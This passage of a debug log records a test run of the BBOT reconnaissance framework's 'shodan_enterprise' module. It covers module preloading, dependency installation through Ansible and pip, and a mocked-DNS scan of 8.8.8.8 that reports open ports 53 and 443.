[DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-03-01 17:08:16,014 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-03-01 17:08:16,015 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-03-01 17:08:16,016 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-03-01 17:08:16,017 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-03-01 17:08:16,018 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-03-01 17:08:16,019 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-03-01 17:08:16,019 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-03-01 17:08:16,020 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-03-01 17:08:16,021 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-03-01 17:08:16,021 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-03-01 17:08:16,022 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-03-01 17:08:16,022 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-03-01 17:08:16,023 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-03-01 17:08:16,023 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-03-01 17:08:16,024 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-03-01 17:08:16,024 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-03-01 17:08:16,025 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-03-01 17:08:16,026 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-03-01 17:08:16,026 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-03-01 17:08:16,027 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-03-01 17:08:16,028 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-03-01 17:08:16,029 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-03-01 17:08:16,030 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-03-01 17:08:16,030 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-03-01 17:08:16,031 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-03-01 17:08:16,031 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-03-01 17:08:16,032 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-03-01 17:08:16,032 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-03-01 17:08:16,033 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-03-01 17:08:16,034 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-03-01 17:08:16,034 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-03-01 17:08:16,035 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-03-01 17:08:16,035 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-03-01 17:08:16,036 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-03-01 17:08:16,036 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-03-01 17:08:16,037 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-03-01 17:08:16,038 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-03-01 17:08:16,038 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-03-01 17:08:16,039 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-03-01 17:08:16,039 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-03-01 17:08:16,040 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-03-01 17:08:16,040 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-03-01 17:08:16,041 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-03-01 17:08:16,042 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-03-01 17:08:16,042 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-03-01 17:08:16,043 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-03-01 17:08:16,044 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-03-01 17:08:16,044 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-03-01 17:08:16,045 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-03-01 17:08:16,046 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-03-01 17:08:16,046 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-03-01 17:08:16,047 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-03-01 17:08:16,047 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-03-01 17:08:16,048 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-03-01 17:08:16,049 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-03-01 17:08:16,050 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-03-01 17:08:16,050 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-03-01 17:08:16,051 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-03-01 17:08:16,052 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-03-01 17:08:16,052 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-03-01 17:08:16,053 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-03-01 17:08:16,053 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-03-01 17:08:16,054 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-03-01 17:08:16,055 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-03-01 17:08:16,055 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-03-01 17:08:16,056 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-03-01 17:08:16,056 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-03-01 17:08:16,057 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-03-01 17:08:16,057 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-03-01 17:08:16,058 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-03-01 17:08:16,059 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-03-01 17:08:16,059 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-03-01 17:08:16,060 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-03-01 17:08:16,060 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-03-01 17:08:16,061 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-03-01 17:08:16,062 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-03-01 17:08:16,063 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-03-01 17:08:16,064 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-03-01 17:08:16,064 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-03-01 17:08:16,065 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-03-01 17:08:16,066 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-03-01 17:08:16,066 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-03-01 17:08:16,067 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-03-01 17:08:16,068 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-03-01 17:08:16,069 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-03-01 17:08:16,069 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-03-01 17:08:16,070 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-03-01 17:08:16,071 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-03-01 17:08:16,071 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-03-01 17:08:16,072 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-03-01 17:08:16,073 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-03-01 17:08:16,074 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-03-01 17:08:16,074 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-03-01 17:08:16,075 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-03-01 17:08:16,075 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-03-01 17:08:16,076 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-03-01 17:08:17,167 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 17:08:17,167 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 17:08:17,168 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-03-01 17:08:17,303 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-03-01 17:08:17,879 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-03-01 17:08:17,879 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-03-01 17:08:17,879 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-03-01 17:08:17,880 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-03-01 17:08:18,085 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-03-01 17:08:18,087 [DEBUG] bbot base.py:103 Mocking DNS +2026-03-01 17:08:18,198 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-03-01 17:08:18,198 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-03-01 17:08:18,254 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-03-01 17:08:18,257 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-03-01 17:08:18,257 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-03-01 17:08:18,682 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-03-01 17:08:18,683 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-03-01 17:08:21,412 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-03-01 17:08:21,413 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-03-01 17:08:21,413 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-03-01 17:08:23,192 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-03-01 17:08:23,193 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-03-01 17:08:23,198 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 17:08:23,198 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-03-01 17:08:23,199 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-03-01 17:08:23,199 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-03-01 17:08:23,203 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/qs7d6yck7ctkvedhxe95 +2026-03-01 17:08:23,982 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-03-01 17:08:23,983 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-03-01 17:08:23,983 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 17:08:23,984 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-03-01 17:08:23,984 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 17:08:23,985 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-03-01 17:08:23,985 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 17:08:23,985 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-03-01 17:08:23,986 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-03-01 17:08:24,104 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-03-01 17:08:24,104 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-03-01 17:08:24,104 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-03-01 17:08:24,106 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-03-01 17:08:24,106 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-03-01 17:08:24,106 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-03-01 17:08:24,107 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-03-01 17:08:24,107 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-03-01 17:08:24,108 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-03-01 17:08:24,108 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-03-01 17:08:24,109 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-03-01 17:08:24,109 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-03-01 17:08:24,109 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-03-01 17:08:24,109 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-03-01 17:08:24,109 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-03-01 17:08:24,110 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-03-01 17:08:24,110 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-03-01 17:08:24,110 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-03-01 17:08:24,111 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-03-01 17:08:24,111 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-03-01 17:08:24,111 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-03-01 17:08:24,111 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-03-01 17:08:24,112 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-03-01 17:08:24,112 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-03-01 17:08:24,112 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-03-01 17:08:24,112 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-03-01 17:08:24,113 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-03-01 17:08:24,113 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-03-01 17:08:24,113 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-03-01 17:08:24,114 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-03-01 17:08:24,114 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-03-01 17:08:24,114 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-03-01 17:08:24,114 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-03-01 17:08:24,115 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-03-01 17:08:24,115 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-03-01 17:08:24,115 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-03-01 17:08:24,115 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-03-01 17:08:24,116 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-03-01 17:08:24,116 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-03-01 17:08:24,116 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-03-01 17:08:24,116 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-03-01 17:08:24,117 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-03-01 17:08:24,117 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-03-01 17:08:24,117 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-03-01 17:08:24,117 [DEBUG] bbot base.py:111 Starting scan +2026-03-01 17:08:24,253 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_i5me1a0l48 +2026-03-01 17:08:24,253 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-03-01 17:08:24,359 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-03-01 17:08:24,359 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-03-01 17:08:24,359 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-03-01 17:08:24,361 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) +2026-03-01 17:08:24,462 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:4a8e5cd50a6dd05a84777df6c964773fc53f4d0e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 17:08:24,463 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:4a8e5cd50a6dd05a84777df6c964773fc53f4d0e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 17:08:24,464 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:4a8e5cd50a6dd05a84777df6c964773fc53f4d0e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 17:08:24,465 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) passed post-check +2026-03-01 17:08:24,465 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) +2026-03-01 17:08:24,467 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:4a8e5cd50a6dd05a84777df6c964773fc53f4d0e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 17:08:24,467 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:4a8e5cd50a6dd05a84777df6c964773fc53f4d0e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 17:08:24,468 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) in-scope because its main host matches the scan target +2026-03-01 17:08:24,470 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:4a8e5cd50a6dd05a84777df6c964773fc53f4d0e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 17:08:24,471 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:4a8e5cd50a6dd05a84777df6c964773fc53f4d0e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 17:08:24,471 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-03-01 17:08:24,472 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check +2026-03-01 17:08:24,472 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-03-01 17:08:24,473 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:4a8e5cd50a6dd05a84777df6c964773fc53f4d0e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 17:08:24,473 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:4a8e5cd50a6dd05a84777df6c964773fc53f4d0e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-03-01 17:08:24,479 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-03-01 17:08:24,479 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check +2026-03-01 17:08:24,480 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-03-01 17:08:24,480 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-03-01 17:08:24,481 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) because precheck succeeded +2026-03-01 17:08:24,481 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) because precheck succeeded +2026-03-01 17:08:24,482 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) from TARGET +2026-03-01 17:08:24,482 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check +2026-03-01 17:08:24,482 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-03-01 17:08:24,575 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-03-01 17:08:24,576 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:4a8e5cd50a6dd05a84777df6c964773fc53f4d0e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-03-01 17:08:24,577 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:4a8e5cd50a6dd05a84777df6c964773fc53f4d0e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 17:08:24,577 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) from TARGET +2026-03-01 17:08:24,577 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check +2026-03-01 17:08:24,578 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:08:24,578 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:08:24,579 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 17:08:24,579 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:08:24,580 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:08:24,580 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:08:24,581 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:08:24,581 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:08:24,581 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 17:08:24,582 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:08:24,582 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:08:24,582 